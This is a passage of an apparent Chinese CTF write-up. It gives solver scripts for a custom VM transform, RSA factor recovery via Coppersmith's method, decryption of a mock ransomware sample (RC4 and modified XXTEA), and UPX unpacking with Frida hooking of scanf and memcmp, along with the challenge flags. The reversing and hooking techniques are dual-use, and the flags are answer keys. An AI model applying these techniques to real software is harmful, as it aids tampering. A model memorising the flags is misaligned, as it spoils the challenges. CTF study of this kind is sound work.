num2 = rol(num2, (i + j) % 8)

elif op == 4:

num2 = (num2 * (2 * ((i + j) % 4) + 1)) & 255

elif op == 5:

num2 ^= rol((i ^ num) & 0xFF, (i % 3) + 1)

elif op == 6:

num2 = (num2 + (num ^ 91)) & 255

num3 = (i * 97 + num * 13 + 91) & 255

for k in OP2:

op = DO(k)

if op == 7:

num2 ^= num3

elif op == 8:

num2 = rol(num2, (i ^ num) & 7)

elif op == 9:

num2 = (num2 * (2 * (i % 4) + 1)) & 255

elif op == 10:

num2 ^= ror(num3, (i + 3) % 8)

out[i] = num2

num4 = ((num << 1) | (num >> 7)) & 255

num = (num2 ^ num4) & 255

return bytes(out)

---------- invert VMTransform per-byte (since it's bijective over bytes when multipliers are odd) ----------

def invert_byte(y: int, i: int, num: int) -> int:

t = y

reverse OP2 in reverse order of application:

num3 = (i * 97 + num * 13 + 91) & 255

OP2 order in forward: 7,8,9,10

reverse:

undo 10: xor

t ^= ror(num3, (i + 3) % 8)

undo 9: multiply by odd -> multiply by inverse mod 256

m2 = 2 * (i % 4) + 1

t = (t * inv_mod_256(m2)) & 255

undo 8: rol -> ror

t = ror(t, (i ^ num) & 7)

undo 7: xor

t ^= num3

reverse 3 rounds j = 2..0

for j in reversed(range(3)):

forward OP1 order: 1(xor),2(add),3(rol),4(mul),5(xor),6(add)

reverse: 6,5,4,3,2,1

undo 6: add -> subtract

t = (t - (num ^ 91)) & 255

undo 5: xor

t ^= rol((i ^ num) & 0xFF, (i % 3) + 1)

undo 4: mul -> inverse mul

m1 = 2 * ((i + j) % 4) + 1

t = (t * inv_mod_256(m1)) & 255

undo 3: rol -> ror

t = ror(t, (i + j) % 8)

undo 2: add -> subtract

t = (t - (13 + ((i * 7) & 255) + num)) & 255

undo 1: xor

t ^= (165 + ((i * 3) & 255) + num) & 255

return t & 0xFF

def invert_vm_transform(expected_bytes: bytes) -> bytes:

num = 173

inp = bytearray(len(expected_bytes))

for i, y in enumerate(expected_bytes):

input byte depends on current num (state before processing i)

inp[i] = invert_byte(y, i, num)

update num exactly like forward transform does, but using y (output)

num4 = ((num << 1) | (num >> 7)) & 255

num = (y ^ num4) & 255

return bytes(inp)

def main():

expected = expected_from_jd(jd)

key_bytes = invert_vm_transform(expected)

sanity check: forward transform should match expected

assert vm_transform(key_bytes) == expected, "Sanity check failed: inversion or forward transform mismatch!"

try:

key_str = key_bytes.decode("ascii")

except UnicodeDecodeError:

key_str = key_bytes.decode("ascii", errors="replace")

print("expected length:", len(expected))

print("key bytes length:", len(key_bytes))

print("key/flag:", key_str)

if name == "main":

main()

D:\Python\Python.exe D:\PyCharm_Project\ctf\temp.py expected length: 45 key bytes length: 45 key/flag: flag{J1nDun_and_anti_d6g_mastery_x1n_5n_2025}

flag{J1nDun_and_anti_d6g_mastery_x1n_5n_2025}

如该题使用自己编写的脚本请详细写出,不允许截图

|---|
| |

flag值:

flag{J1nDun_and_anti_d6g_mastery_x1n_5n_2025}

题目十一 ez_factor

(题目序号 请参考解题总榜上面的序号)

如该题使用自己编写的脚本请详细写出,不允许截图

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| import hashlib from sage.all import * # ----------------------------- # Given challenge parameters # ----------------------------- N = 17308807616386058844272562044366373239941298399441061888987792449850318446488267823791686238993381710983339151835704898811819114653898233851186986907248944945572075381969568786557506755580008583114101120218877483488181888525631891889813747166905554933455974368751166389777947046367771658052639914248915779657166059874317977162602078280293328757685017737532940734772889768555007323946513615998420286052883040446227066856298595661216580977330405737193140204353453124007412078909385785412112150298386990160663358754629548589338559014764621289705392225163644989157173329327545114029143805183101871420114355649176993308939 leak_sum = 1295365686138157206282110008537080678610959566969920821768228574675183666486949457476 N_BITS = 1024 HIGH_BITS = 360 LOW_BITS = 280 # ----------------------------- # Helpers # ----------------------------- def low_bits_candidates(modulus_n: Integer, leak: Integer, low_bits: int): """ Recover possible p_low values from: x^2 - leak*x + n == 0 (mod 2^low_bits) """ R = Zmod(2**low_bits) PR = PolynomialRing(R, 'x') x = PR.gen() poly = x**2 - leak*x + modulus_n return poly.roots(multiplicities=False) def get_known_high_part(modulus_n: Integer, total_bits: int, high_bits: int): """ Use sqrt(n) approximation, take the top 'high_bits' as known. """ p_sqrt = isqrt(modulus_n) high_mask = ((1 << high_bits) - 1) << (total_bits - high_bits) return Integer(p_sqrt & high_mask) def assemble_p(p_high: Integer, mid: Integer, p_low: Integer, low_bits: int): """ p = p_high + mid*2^low_bits + p_low """ return Integer(p_high + mid * (2**low_bits) + p_low) def verify_factors(modulus_n: Integer, p: Integer): """ Return (p, q) if p divides n and p*q == n else None. """ if p == 0: return None q = modulus_n // p if p * q == modulus_n: return (Integer(p), Integer(q)) return None # ----------------------------- # Main logic (unchanged conceptually) # ----------------------------- two_pow_low = 2**LOW_BITS unknown_bits = N_BITS - HIGH_BITS - LOW_BITS print(f"Unknown bits: {unknown_bits}") p_high_known = get_known_high_part(N, N_BITS, HIGH_BITS) roots_low = low_bits_candidates(N, leak_sum, LOW_BITS) if not roots_low: print("No low-bits candidates found.") raise SystemExit P = PolynomialRing(Zmod(N), 'y') y = P.gen() found = False for root in roots_low: p_low = Integer(root) print(f"Testing p_low candidate: {p_low} ...") # Coppersmith polynomial in y (middle bits) # f(y) = p_high_known + y*2^LOW_BITS + p_low (mod N) f = (p_high_known + y * two_pow_low + p_low).monic() # beta kept as 0.5 per original mid_roots = f.small_roots(X=2**unknown_bits, beta=0.5) if not mid_roots: continue mid = Integer(mid_roots[0]) p_candidate = assemble_p(p_high_known, mid, p_low, LOW_BITS) fac = verify_factors(N, p_candidate) if fac is None: continue p_sol, q_sol = fac print("\nSuccess! Factors found.") print(f"p = {p_sol}") print(f"q = {q_sol}") flag_bytes = str(p_sol + q_sol).encode() flag_hash = hashlib.sha256(flag_bytes).hexdigest() print(f"flag{{{flag_hash}}}") found = True break if not found: print("No found.") |

flag值:

flag{9f3023311b4ce1f7fc343b21838753d0b05265e8d7ac3f20c1ff45c792188a62}

题目十二 勒索病毒

操作内容:upx脱壳,分析

显然是rc4解密了,并且得到的是一个elf文件,

前面还有个加密

典型的"栅栏密码 / Rail Fence Cipher(Z 字形/波浪形)"加密:

可以写解密了

#!/usr/bin/env python3

-*- coding: utf-8 -*-

import sys

def rc4_prga(key: bytes):

标准 RC4 KSA

S = list(range(256))

j = 0

for i in range(256):

j = (j + S[i] + key[i % len(key)]) & 0xFF

S[i], S[j] = S[j], S[i]

标准 RC4 PRGA(对应 sub_39E4)

i = 0

j = 0

while True:

i = (i + 1) & 0xFF

j = (j + S[i]) & 0xFF

S[i], S[j] = S[j], S[i]

yield S[(S[i] + S[j]) & 0xFF]

def decrypt(cipher: bytes, key: bytes) -> bytes:

ks = rc4_prga(key)

out = bytearray(len(cipher))

for idx, c in enumerate(cipher):

c = (c - 1) & 0xFF # 先逆 ++

out[idx] = c ^ next(ks) # 再逆 XOR

return bytes(out)

def encrypt(plain: bytes, key: bytes) -> bytes:

ks = rc4_prga(key)

out = bytearray(len(plain))

for idx, p in enumerate(plain):

b = p ^ next(ks)

out[idx] = (b + 1) & 0xFF

return bytes(out)

def main():

if len(sys.argv) != 3:

print(f"用法: {sys.argv[0]} <加密文件> <解密输出文件>")

sys.exit(1)

in_path, out_path = sys.argv[1], sys.argv[2]

key = b"x7F2pQ9zR3sT5vB8"

with open(in_path, "rb") as f:

data = f.read()

plain = decrypt(data, key)

with open(out_path, "wb") as f:

f.write(plain)

快速验证 ELF 头

if plain[:4] == b"\x7fELF":

print("解密成功:输出看起来是 ELF(\\x7fELF)")

else:

print("已输出解密文件(注意:若不是 ELF 头,可能输入不是该程序产物或还有额外封装)")

if name == "main":

main()

解密seconde.enc得到另外一个程序

`sub_555555556C79(v9, v8, v7)` 里(它用 **v8=读入的 test.txt 内容** 和 **v7=密钥字符串** 生成 **v9=输出**),随后 `sub_555555557216(v11, v9)` 把 v9 写到 `test.enc`。

分析后加密算法是这个

tea系列算法,delta进行了修改是 XXTEA/BTEA 结构,但 Δ 常量不是 0x9E3779B9,而是 0x5A827999,写脚本

import struct

import re

====== KEY(从 main 里还原)======

KEY = bytes.fromhex("3a7f1c9db2e580476bf3290eda51c814")

K = struct.unpack("<4I", KEY)

DELTA = 0x5A827999 # 1518500249

def u32(x):

return x & 0xFFFFFFFF

bytes -> uint32 list(不追加长度)

def bytes_to_u32(data: bytes):

n = (len(data) + 3) // 4

data += b"\x00" * (n * 4 - len(data))

return list(struct.unpack("<%dI" % n, data))

uint32 list -> bytes(不裁剪)

def u32_to_bytes(v):

return struct.pack("<%dI" % len(v), *v)

====== 完整还原 sub_555555556689 的解密逻辑 ======

def btea_decrypt(v, k):

n = len(v)

if n <= 1:

return v

rounds = 52 // n + 6

summ = u32(DELTA * rounds)

y = v[0]

while summ != 0:

e = (summ >> 2) & 3

for i in range(n - 1, 0, -1):

z = v[i - 1]

ki = k[e ^ (i & 3)]

mx = (

((y ^ summ) + (z ^ ki))

^ (((y << 2) ^ (z >> 5)) + ((y >> 3) ^ (z << 4)))

)

v[i] = u32(v[i] - mx)

y = v[i]

z = v[n - 1]

ki = k[e]

mx = (

((y ^ summ) + (z ^ ki))

^ (((y << 2) ^ (z >> 5)) + ((y >> 3) ^ (z << 4)))

)

v[0] = u32(v[0] - mx)

y = v[0]

summ = u32(summ - DELTA)

return v

================== MAIN ==================

with open("test.enc", "rb") as f: # 如果你没改名,换成 flag.enc

ct = f.read()

v = bytes_to_u32(ct)

pt_u32 = btea_decrypt(v, K)

pt = u32_to_bytes(pt_u32)

print("==== 解密结果(UTF-8 可见部分)====")

s = pt.decode("utf-8", errors="ignore")

print(s)

自动提取 flag

m = re.search(r"(flag\{.*?\})", s)

if m:

print("\n[+] FLAG =", m.group(1))

else:

print("\n[-] 未自动匹配到 flag,请检查输出内容")

D:\python\python.exe D:\PyCharm_Project\ctf\temp.py

==== 解密结果(UTF-8 可见部分)====

flag{26abb0ba-88e0-4193-bd4c-d9a97e31d120}

+\] FLAG = flag{26abb0ba-88e0-4193-bd4c-d9a97e31d120} #### 如该题使用自己编写的脚本请详细写出,不允许截图 |---| | | #### flag值: D:\\python\\python.exe D:\\PyCharm_Project\\ctf\\temp.py ==== 解密结果(UTF-8 可见部分)==== flag{26abb0ba-88e0-4193-bd4c-d9a97e31d120} \[+\] FLAG = flag{26abb0ba-88e0-4193-bd4c-d9a97e31d120} #### 题目十三 UPX (题目序号 请参考解题总榜上面的序号) #### 操作内容: 样本表面看像 UPX,但直接 upx -d 会失败。原因是 UPX 头/标志位被改过,需要先把段名/标志位修回 UPX 预期。 [https://blog.csdn.net/hanxuer_/article/details/106549548](https://blog.csdn.net/hanxuer_/article/details/106549548 "https://blog.csdn.net/hanxuer_/article/details/106549548")参考这个文章 把相关段标识改回标准 UPX 形式: * UPX0 * UPX1 * UPX2 * UPX! 修改后,直接脱壳即可 ![](https://i-blog.csdnimg.cn/direct/bcab26ee286b4081ae54d444deef4601.png) 然后就是去除花指令 ![](https://i-blog.csdnimg.cn/direct/20f5307a67f848ea9a50d7997f117a3c.png) nop掉 .text:00000001400225FB loc_1400225FB: add \[rdi\], cl mov esi, 2A0715h add \[rsi+0Fh\], ah out dx, eax in eax, dx pxor xmm0, xmm0 即可 其它大概道理 ![](https://i-blog.csdnimg.cn/direct/d78069fb10c94c5a9fe97adee23783b5.png) 程序启动后会提示: * Please enter the flag: * 读取输入(scanf("%100s", unk_14002A3E0)) * 随后执行一段校验逻辑 题目特征: * 大量无意义浮点运算和分支,典型**控制流** **/** **常量混淆** * 通过函数指针表间接调用真实逻辑("跳表/dispatch table") 追表/追跳转太过麻烦,直接用 frida hook 关键量更快。 思路: 1. hook 输入函数(可选,确保稳定触发校验) 2. hook memcmp,过滤 n==16 的调用,dump 两端 16 字节 3. 可选 hook puts/exit 辅助观察程序走到哪条路径 当命中 memcmp(16) 时: * 一端通常是计算出的 tag / digest * 另一端通常是 expected 常量或期望值 * dump 这 16 字节往往就足够反推算法或直接构造正确输入 同时在脚本本地复现 KDF(如果题目使用可复现的 xorshift32 KDF): * KEY = kdfBytes(16, SEED1, SEED2) * IV = kdfBytes(16, SEED1\^A5A5A5A5, SEED2\^C3C3C3C3) * MASKC = kdfBytes(16, SEED1\^SEED2, SEED1) 命中时打印: * key / iv / maskC * tag / expected * expected \^ iv(辅助观察 CBC 相关结构) // frida_probe_v3.js // 目标:dump memcmp(16) tag/expected,本地复现 KDF key/iv/maskC // 可选:稳定触发校验(输入注入),默认仅观察不注入 'use strict'; // ===================== 配置 ===================== const CFG = { AUTO_INJECT: false, INJECT_STR: "flag{1111111111111111111111111111111111111111111111111}", // len=55 WANT_MEMCMP_N: 16, MAX_CSTR: 4096, SEED1: (0x13579BDF \>\>\> 0), SEED2: ((0xCAFEBABE \^ 0x31415926) \>\>\> 0), // 0xFBBFE398 PUTS_KEYWORDS: \["Too", "Correct", "Wrong", "flag", "error"\], // 输出控制 PRINT_ONCE_MEMCMP16: true, // 打印第一次命中的 memcmp(16) MEMCMP16_DEBOUNCE_MS: 100, SHOW_BACKTRACE: false, // 需要时开 BACKTRACE_DEPTH: 8, }; // ===================== 小工具 ===================== function ts() { const d = new Date(); // HH:MM:SS.mmm const p2 = (x) =\> (x \< 10 ? "0" : "") + x; const p3 = (x) =\> (x \< 10 ? "00" : x \< 100 ? "0" : "") + x; return \`${p2(d.getHours())}:${p2(d.getMinutes())}:${p2(d.getSeconds())}.${p3(d.getMilliseconds())}\`; } function log(...a) { console.log(\`\[${ts()}\]\`, ...a); } function warn(...a) { console.warn(\`\[${ts()}\]\`, ...a); } function u32(x) { return (x \>\>\> 0); } function xs32(x) { x = u32(x \^ u32(x \<\< 13)); x = u32(x \^ (x \>\>\> 17)); x = u32(x \^ u32(x \<\< 5)); return u32(x); } function kdfBytes(n, s1, s2) { let x = u32(s1 \^ s2); const out = new Uint8Array(n); for (let i = 0; i \< n; i++) { x = xs32(x); out\[i\] = x \& 0xff; } return out; } function hex(u8) { let s = ""; for (let i = 0; i \< u8.length; i++) { const b = u8\[i\] \& 0xff; s += (b \< 16 ? "0" : "") + b.toString(16); } return s; } function xorU8(a, b) { const n = Math.min(a.length, b.length); const r = new Uint8Array(n); for (let i = 0; i \< n; i++) r\[i\] = (a\[i\] \^ b\[i\]) \& 0xff; return r; } function readCStringSafe(p, limit) { if (!p \|\| p.isNull()) return null; const maxN = limit \|\| CFG.MAX_CSTR; try { return Memory.readCString(p, maxN); } catch (_) { return null; } } function readBytesSafe(p, n) { if (!p \|\| p.isNull()) return null; try { const raw = Memory.readByteArray(p, n); if (!raw) return null; return new Uint8Array(raw); } catch (_) { return null; } } function prettyBacktrace(ctx) { try { const bt = Thread.backtrace(ctx, Backtracer.ACCURATE) .slice(0, CFG.BACKTRACE_DEPTH) .map(DebugSymbol.fromAddress) .map(s =\> \` at ${s.toString()}\`); return bt.join("\\n"); } catch (e) { return \` \\`; } } // ===================== 符号解析(更稳) ===================== // 优先用 ApiResolver,找不到再 fallback Module.findExportByName(null, sym) const resolver = new ApiResolver("module"); // cache: sym -\> address const symCache = new Map(); function resolveSymbol(sym) { if (symCache.has(sym)) return symCache.get(sym); // 1) ApiResolver:枚举所有模块导出的同名符号(跨 ucrtbase/msvcrt/kernel32 等) try { const matches = resolver.enumerateMatchesSync(\`exports:\*!${sym}\`); if (matches \&\& matches.length \> 0) { // 如果多个同名,取第一个;你也可以按 module 过滤更精细 const addr = matches\[0\].address; symCache.set(sym, addr); return addr; } } catch (_) {} // 2) fallback:main module / any try { const addr2 = Module.findExportByName(null, sym); if (addr2) { symCache.set(sym, addr2); return addr2; } } catch (_) {} symCache.set(sym, null); return null; } function hookSym(sym, callbacks) { const addr = resolveSymbol(sym); if (!addr) return false; Interceptor.attach(addr, callbacks); log(\`\[+\] hook ${sym} @ ${addr}\`); return true; } function replaceSym(sym, cb, retType, argTypes) { const addr = resolveSymbol(sym); if (!addr) return false; Interceptor.replace(addr, new NativeCallback(cb, retType, argTypes)); log(\`\[+\] replace ${sym} @ ${addr}\`); return true; } // ===================== 预计算 key/iv/maskC(只算一次) ===================== const KEY = kdfBytes(16, CFG.SEED1, CFG.SEED2); const IV = kdfBytes(16, u32(CFG.SEED1 \^ 0xA5A5A5A5), u32(CFG.SEED2 \^ 0xC3C3C3C3)); const MASKC = kdfBytes(16, u32(CFG.SEED1 \^ CFG.SEED2), CFG.SEED1); // ===================== scanf:观察 / 可选注入 ===================== // 注意:scanf 是变参;replace 只适合你明确知道是 scanf("%s", buf) 的情况 function setupInputHook() { if (!CFG.AUTO_INJECT) { const ok = hookSym("scanf", { onEnter(args) { this.fmt = readCStringSafe(args\[0\], 256) \|\| "\"; this.buf = args\[1\]; }, onLeave(ret) { const got = readCStringSafe(this.buf, CFG.MAX_CSTR); if (got !== null) { log(\`\[scanf\] fmt="${this.fmt}" got(len=${got.length})="${got}" ret=${ret.toInt32()}\`); } else { log(\`\[scanf\] fmt="${this.fmt}" got=\ buf=${this.buf} ret=${ret.toInt32()}\`); } } }); if (!ok) warn("\[-\] scanf not found (maybe inlined / different CRT / wide version)"); return; } // 注入:非常依赖调用签名,做好保护 const ok = replaceSym( "scanf", (fmtPtr, bufPtr) =\> { const fmt = readCStringSafe(fmtPtr, 256) \|\| "\"; log(\`\[scanf\*\] replace hit fmt="${fmt}" buf=${bufPtr}\`); if (bufPtr \&\& !bufPtr.isNull()) { try { Memory.writeUtf8String(bufPtr, CFG.INJECT_STR); log(\`\[scanf\*\] injected len=${CFG.INJECT_STR.length}\`); } catch (e) { warn(\`\[scanf\*\] inject failed: ${e}\`); } } // 让程序认为成功读到 1 个参数 return 1; }, "int", \["pointer", "pointer"

);

if (!ok) warn("[-] scanf replace failed (try hooking fgets/gets/ReadFile instead)");

}

// ===================== memcmp:抓 16 字节最终比较 =====================

let memcmp16Printed = false;

let lastMemcmp16Ts = 0;

function setupMemcmpProbe() {

const ok = hookSym("memcmp", {

onEnter(args) {

this.a = args[0];

this.b = args[1];

// size_t 在 x64 是 64-bit;Frida 的 toInt32 对于 <=2^31 的小值没问题

// 我们只关心 16

try {

this.n = args[2].toInt32();

} catch (_) {

this.n = -1;

}

if (CFG.SHOW_BACKTRACE) {

this.ctx = this.context;

}

},

onLeave(retval) {

if (this.n !== CFG.WANT_MEMCMP_N) return;

const now = Date.now();

if (CFG.PRINT_ONCE_MEMCMP16 && memcmp16Printed) return;

if (now - lastMemcmp16Ts < CFG.MEMCMP16_DEBOUNCE_MS) return;

lastMemcmp16Ts = now;

const tag = readBytesSafe(this.a, 16);

const exp = readBytesSafe(this.b, 16);

if (!tag || !exp) {

warn("[memcmp] hit n=16 but read failed");

return;

}

const exXor = xorU8(exp, IV);

log("===== memcmp(16) =====");

log("key :", hex(KEY));

log("iv :", hex(IV));

log("maskC :", hex(MASKC));

log("tag(C4):", hex(tag));

log("expect :", hex(exp));

log("ex^iv :", hex(exXor));

log("ret :", retval.toInt32());

if (CFG.SHOW_BACKTRACE && this.ctx) {

log("backtrace:\n" + prettyBacktrace(this.ctx));

}

log("======================");

memcmp16Printed = true;

}

});

if (!ok) warn("[-] memcmp not found");

}

// ===================== puts / exit 辅助 =====================

function setupPutsLite() {

hookSym("puts", {

onEnter(args) {

const s = readCStringSafe(args[0], 2048);

if (!s) return;

for (const k of CFG.PUTS_KEYWORDS) {

if (s.indexOf(k) !== -1) {

log(`[puts] ${s}`);

break;

}

}

}

});

}

function setupExitTrace() {

hookSym("exit", {

onEnter(args) { log(`[exit] code=${args[0].toInt32()}`); }

});

hookSym("ExitProcess", {

onEnter(args) { log(`[ExitProcess] code=${args[0].toInt32()}`); }

});

}

// ===================== 入口 =====================

setImmediate(() => {

log("[*] frida_probe_v3 starting ...");

log(`[i] AUTO_INJECT={CFG.AUTO_INJECT} WANT_MEMCMP_N={CFG.WANT_MEMCMP_N}`);

log(`[i] key={hex(KEY)} iv={hex(IV)} maskC=${hex(MASKC)}`);

setupInputHook();

setupMemcmpProbe();

setupPutsLite();

setupExitTrace();

log("[*] hooks begin.");

});

如该题使用自己编写的脚本请详细写出,不允许截图

|---|
| |

flag值:

flag{2e789d4a56d1ar42198798a4d65s1df3a1fa231f3a2w4f68a}

相关推荐
糕......2 小时前
Java异常处理完全指南:从概念到自定义异常
java·开发语言·网络·学习
胡伯来了2 小时前
07 - 数据收集 - 网页采集工具Scrapy
python·scrapy·数据采集
Lhan.zzZ2 小时前
Qt跨线程网络通信:QSocketNotifier警告及解决
开发语言·c++·qt
小徐Chao努力2 小时前
【Langchain4j-Java AI开发】04-AI 服务核心模式
java·人工智能·python
superman超哥2 小时前
仓颉性能优化秘籍:内联函数的优化策略与深度实践
开发语言·后端·性能优化·内联函数·仓颉编程语言·仓颉·仓颉语言
Wang's Blog2 小时前
Lua: 元表机制实现运算符重载与自定义数据类型
开发语言·lua
我找到地球的支点啦2 小时前
Matlab系列(006) 一利用matlab保存txt文件和读取txt文件
开发语言·算法·matlab
-森屿安年-2 小时前
STL中 Map 和 Set 的模拟实现
开发语言·c++
阿蒙Amon2 小时前
C#每日面试题-接口和抽象类的区别
开发语言·c#